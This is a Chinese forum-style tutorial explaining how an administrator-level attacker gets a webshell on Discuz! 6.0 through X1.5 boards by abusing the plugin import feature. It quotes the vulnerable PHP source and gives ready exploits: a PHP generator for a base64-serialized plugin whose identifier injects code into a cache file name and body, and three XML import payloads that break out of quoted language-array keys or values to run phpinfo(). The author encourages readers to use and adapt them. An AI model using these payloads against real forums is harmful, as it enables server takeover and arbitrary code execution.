作者:jsbug

    趁着地球还没毁灭,赶紧放出来。

    预祝"单恋一枝花"童鞋生日快乐。

    恭喜我的浩方Dota升到2级。

    希望世界和平。

    我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……

    既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。

一 Discuz! 6.0 和 Discuz! 7.0

    既然要后台拿Shell,文件写入必看。

/include/cache.func.php:

function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {
        global $authkey;
        if(is_array($cachenames) && !$cachedata) {
                foreach($cachenames as $name) {
                        $cachedata .= getcachearray($name, $script);
                }
        }

        $dir = DISCUZ_ROOT.'./forumdata/cache/';
        if(!is_dir($dir)) {
                @mkdir($dir, 0777);
        }
        if($fp = @fopen("$dir$prefix$script.php", 'wb')) {
                fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!".
                        "\n//Created: ".date("M j, Y, G:i").
                        "\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>");
                fclose($fp);
        } else {
                exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');
        }
}

    往上翻,找到调用函数的地方.都在updatecache函数中.

以下是引用片段:

    if(!$cachename || $cachename == 'plugins') {
        $query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");
        while($plugin = $db->fetch_array($query)) {
            $data = array_merge($plugin, array('modules' => array()), array('vars' => array()));
            $plugin['modules'] = unserialize($plugin['modules']);
            if(is_array($plugin['modules'])) {
                foreach($plugin['modules'] as $module) {
                    $data['modules'][$module['name']] = $module;
                }
            }
            $queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");
            while($var = $db->fetch_array($queryvars)) {
                $data['vars'][$var['variable']] = $var['value'];
            }
      //注意
            writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');
        }
    }

    如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.

    去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.

    但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.

/admin/plugins.inc.php:

 if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
         if(!$newname) {
  cpmsg('plugins_edit_name_invalid');
         }
         $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");
      //下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
         if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
  cpmsg('plugins_edit_identifier_invalid');
         }
         $db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
 }
    //写入缓存文件
 updatecache('plugins');
 updatecache('settings');
 cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');

    还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.

以下是引用片段:

elseif(submitcheck('importsubmit')) {

    $plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);
    $pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
    //解码后没有判定
    if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {
            cpmsg('plugins_import_data_invalid');
    } elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
            cpmsg('plugins_import_version_invalid');
    }

    $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");
    //判断是否重复,直接入库
    if($db->num_rows($query)) {
            cpmsg('plugins_import_identifier_duplicated');
    }

    $sql1 = $sql2 = $comma = '';
    foreach($pluginarray['plugin'] as $key => $val) {
            if($key == 'directory') {
        //compatible for old versions
        $val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
            }
            $sql1 .= $comma.$key;
            $sql2 .= $comma.'\''.$val.'\'';
            $comma = ',';
    }
    $db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
    $pluginid = $db->insert_id();

    foreach(array('hooks', 'vars') as $pluginconfig) {
            if(is_array($pluginarray[$pluginconfig])) {
        foreach($pluginarray[$pluginconfig] as $config) {
                $sql1 = 'pluginid';
                $sql2 = '\''.$pluginid.'\'';
                foreach($config as $key => $val) {
            $sql1 .= ','.$key;
            $sql2 .= ',\''.$val.'\'';
                }
                $db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");
        }
            }
    }

    updatecache('plugins');
    updatecache('settings');
    cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');

        }

    随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.

/forumdata/cache/plugin_shell.php:

<?php
//Discuz! cache file, DO NOT modify me!
//Created: Mar 17, 2011, 16:56
//Identify: 7c0b5adeadf5a806292d45c64bd0659c

$_DPLUGIN['shell'] = array (
  'pluginid' => '11',
  'available' => '0',
  'adminid' => '0',
  'name' => 'Getshell',
  'identifier' => 'shell',
  'datatables' => '',
  'directory' => '',
  'copyright' => '',
  'modules' =>
  array (
  ),
  'vars' =>
  array (
  ),
)?>

    我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.

/forumdata/cache/plugin_a']=phpinfo();$a['a.php:

<?php
//Discuz! cache file, DO NOT modify me!
//Created: Mar 17, 2011, 16:56
//Identify: 7c0b5adeadf5a806292d45c64bd0659c

$_DPLUGIN['a']=phpinfo();$a['a'] = array (
  'pluginid' => '11',
  'available' => '0',
  'adminid' => '0',
  'name' => 'Getshell',
  'identifier' => 'shell',
  'datatables' => '',
  'directory' => '',
  'copyright' => '',
  'modules' =>
  array (
  ),
  'vars' =>
  array (
  ),
)?>

    最后是编码一次,给成Exp:

Exp:

<?php
$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
fQ=="));
//print_r($a);
$a['plugin']['name']='GetShell';
$a['plugin']['identifier']='a\']=phpinfo();$a[\'';

print(base64_encode(serialize($a)));
?>

【经验】Discuz! 论坛后台怎么拿到 Webshell

    7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"

【经验】Discuz! 论坛后台怎么拿到 Webshell

二 Discuz! 7.2 和 Discuz! X1.5

    以下以7.2为例

/admin/plugins.inc.php:

 elseif($operation == 'import') {

        if(!submitcheck('importsubmit') && !isset($dir)) {

  /*未提交前表单神马的*/

        } else {

                if(!isset($dir)) {
  //导入数据解码
                        $pluginarray = getimportdata('Discuz! Plugin');
                } elseif(!isset($installtype)) {
  /*省略一部分*/
                }
  //判定你妹啊,两遍啊两遍
                if(!ispluginkey($pluginarray['plugin']['identifier'])) {
                        cpmsg('plugins_edit_identifier_invalid', '', 'error');
                }
                if(!ispluginkey($pluginarray['plugin']['identifier'])) {
                        cpmsg('plugins_edit_identifier_invalid', '', 'error');
                }
                if(is_array($pluginarray['hooks'])) {
                        foreach($pluginarray['hooks'] as $config) {
                                if(!ispluginkey($config['title'])) {
                                        cpmsg('plugins_import_hooks_title_invalid', '', 'error');
                                }
                        }
                }
                if(is_array($pluginarray['vars'])) {
                        foreach($pluginarray['vars'] as $config) {
                                if(!ispluginkey($config['variable'])) {
                                        cpmsg('plugins_import_var_invalid', '', 'error');
                                }
                        }
                }

                $langexists = FALSE;
    //你有张良计,我有过墙梯
                if(!empty($pluginarray['language'])) {
                        @mkdir('./forumdata/plugins/', 0777);
                        $file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php';
                        if($fp = @fopen($file, 'wb')) {
                                $scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : '';
                                $templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : '';
                                $installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : '';
                                fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>');
                                fclose($fp);
                        }
                        $langexists = TRUE;
                }

/*处理神马的*/
                updatecache('plugins');
                updatecache('settings');
                updatemenu();

/*省略部分代码*/

}

    先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.

以下是引用片段:

function getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) {
        if($GLOBALS['importtype'] == 'file') {
                $data = @implode('', file($_FILES['importfile']['tmp_name']));
                @unlink($_FILES['importfile']['tmp_name']);
        } else {
                $data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];
        }
        include_once DISCUZ_ROOT.'./include/xml.class.php';
        $xmldata = xml2array($data);
        if(!is_array($xmldata) || !$xmldata) {
//向下兼容
                if($name && !strexists($data, '# '.$name)) {
                        if(!$ignoreerror) {
                                cpmsg('import_data_typeinvalid', '', 'error');
                        } else {
                                return array();
                        }
                }
                $data = preg_replace("/(#.*\s+)*/", '', $data);
                $data = unserialize(base64_decode($data));
                if(!is_array($data) || !$data) {
                        if(!$ignoreerror) {
                                cpmsg('import_data_invalid', '', 'error');
                        } else {
                                return array();
                        }
                }
        } else {
//XML解析
                if($name && $name != $xmldata['Title']) {
                        if(!$ignoreerror) {
                                cpmsg('import_data_typeinvalid', '', 'error');
                        } else {
                                return array();
                        }
                }
                $data = exportarray($xmldata['Data'], 0);
        }
        if($addslashes) {
//daddslashes在两个版本的处理导致了Exp不能通用.
                $data = daddslashes($data, 1);
        }
        return $data;
}

    判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……

    我们只要控制scriptlangstr或者其它任何一个就可以了。

以下是引用片段:

function langeval($array) {
        $return = '';
        foreach($array as $k => $v) {
    //Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号
                $k = str_replace("'", '', $k);
    //下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?
                $return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n";
        }
        return "array(\n$return);\n\n";
}

    Key 这里不通用.

    7.2

以下是引用片段:

function daddslashes($string, $force = 0) {
        !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
        if(!MAGIC_QUOTES_GPC || $force) {
                if(is_array($string)) {
                        foreach($string as $key => $val) {
                                $string[$key] = daddslashes($val, $force);
                        }
                } else {
                        $string = addslashes($string);
                }
        }
        return $string;
}

    X1.5

以下是引用片段:

function daddslashes($string, $force = 1) {
        if(is_array($string)) {
                foreach($string as $key => $val) {
                        unset($string[$key]);
      //过滤了key
                        $string[addslashes($key)] = daddslashes($val, $force);
                }
        } else {
                $string = addslashes($string);
        }
        return $string;
}

    还是看下shell.lang.php的文件格式.

以下是引用片段:

<?php
$scriptlang['shell'] = array(
        'a' => '1',
        'b' => '2',
);

?>

    7.2版本没有过滤Key,所以直接用\废掉单引号.

    X1.5,单引号转义后变为\',再被替换一次',还是留下了\

    而$v在两个版本中过滤相同,比较通用.

    X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件

    $v通用Exp:

$v通用Exp:

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
        <item id="Title"><![CDATA[Discuz! Plugin]]></item>
        <item id="Version"><![CDATA[7.2]]></item>
        <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
        <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
        <item id="Data">
                <item id="plugin">
                        <item id="available"><![CDATA[0]]></item>
                        <item id="adminid"><![CDATA[0]]></item>
                        <item id="name"><![CDATA[www]]></item>
                        <item id="identifier"><![CDATA[shell]]></item>
                        <item id="description"><![CDATA[]]></item>
                        <item id="datatables"><![CDATA[]]></item>
                        <item id="directory"><![CDATA[]]></item>
                        <item id="copyright"><![CDATA[]]></item>
                        <item id="modules"><![CDATA[a:0:{}]]></item>
                        <item id="version"><![CDATA[]]></item>
                </item>
                <item id="version"><![CDATA[7.2]]></item>
                <item id="language">
                        <item id="scriptlang">
                                <item id="a"><![CDATA[b\]]></item>
                                <item id=");phpinfo();?>"><![CDATA[x]]></item>
                        </item>
                </item>
        </item>
</root>

    7.2 Key 利用

7.2 Key 利用:

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
        <item id="Title"><![CDATA[Discuz! Plugin]]></item>
        <item id="Version"><![CDATA[7.2]]></item>
        <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
        <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
        <item id="Data">
                <item id="plugin">
                        <item id="available"><![CDATA[0]]></item>
                        <item id="adminid"><![CDATA[0]]></item>
                        <item id="name"><![CDATA[www]]></item>
                        <item id="identifier"><![CDATA[shell]]></item>
                        <item id="description"><![CDATA[]]></item>
                        <item id="datatables"><![CDATA[]]></item>
                        <item id="directory"><![CDATA[]]></item>
                        <item id="copyright"><![CDATA[]]></item>
                        <item id="modules"><![CDATA[a:0:{}]]></item>
                        <item id="version"><![CDATA[]]></item>
                </item>
                <item id="version"><![CDATA[7.2]]></item>
                <item id="language">
                        <item id="scriptlang">
                                <item id="a\"><![CDATA[=>1);phpinfo();?>]]></item>
                        </item>
                </item>
        </item>
</root>

   X1.5

X1.5:

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
        <item id="Title"><![CDATA[Discuz! Plugin]]></item>
        <item id="Version"><![CDATA[7.2]]></item>
        <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
        <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
        <item id="Data">
                <item id="plugin">
                        <item id="available"><![CDATA[0]]></item>
                        <item id="adminid"><![CDATA[0]]></item>
                        <item id="name"><![CDATA[www]]></item>
                        <item id="identifier"><![CDATA[shell]]></item>
                        <item id="description"><![CDATA[]]></item>
                        <item id="datatables"><![CDATA[]]></item>
                        <item id="directory"><![CDATA[]]></item>
                        <item id="copyright"><![CDATA[]]></item>
                        <item id="modules"><![CDATA[a:0:{}]]></item>
                        <item id="version"><![CDATA[]]></item>
                </item>
                <item id="version"><![CDATA[7.2]]></item>
                <item id="language">
                        <item id="scriptlang">
                                <item id="a'"><![CDATA[=>1);phpinfo();?>]]></item>
                        </item>
                </item>
        </item>
</root>

【经验】Discuz! 论坛后台怎么拿到 Webshell

【经验】Discuz! 论坛后台怎么拿到 Webshell

    如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.

    最后的最后,加积分太不靠谱了,管理员能免费送包盐不?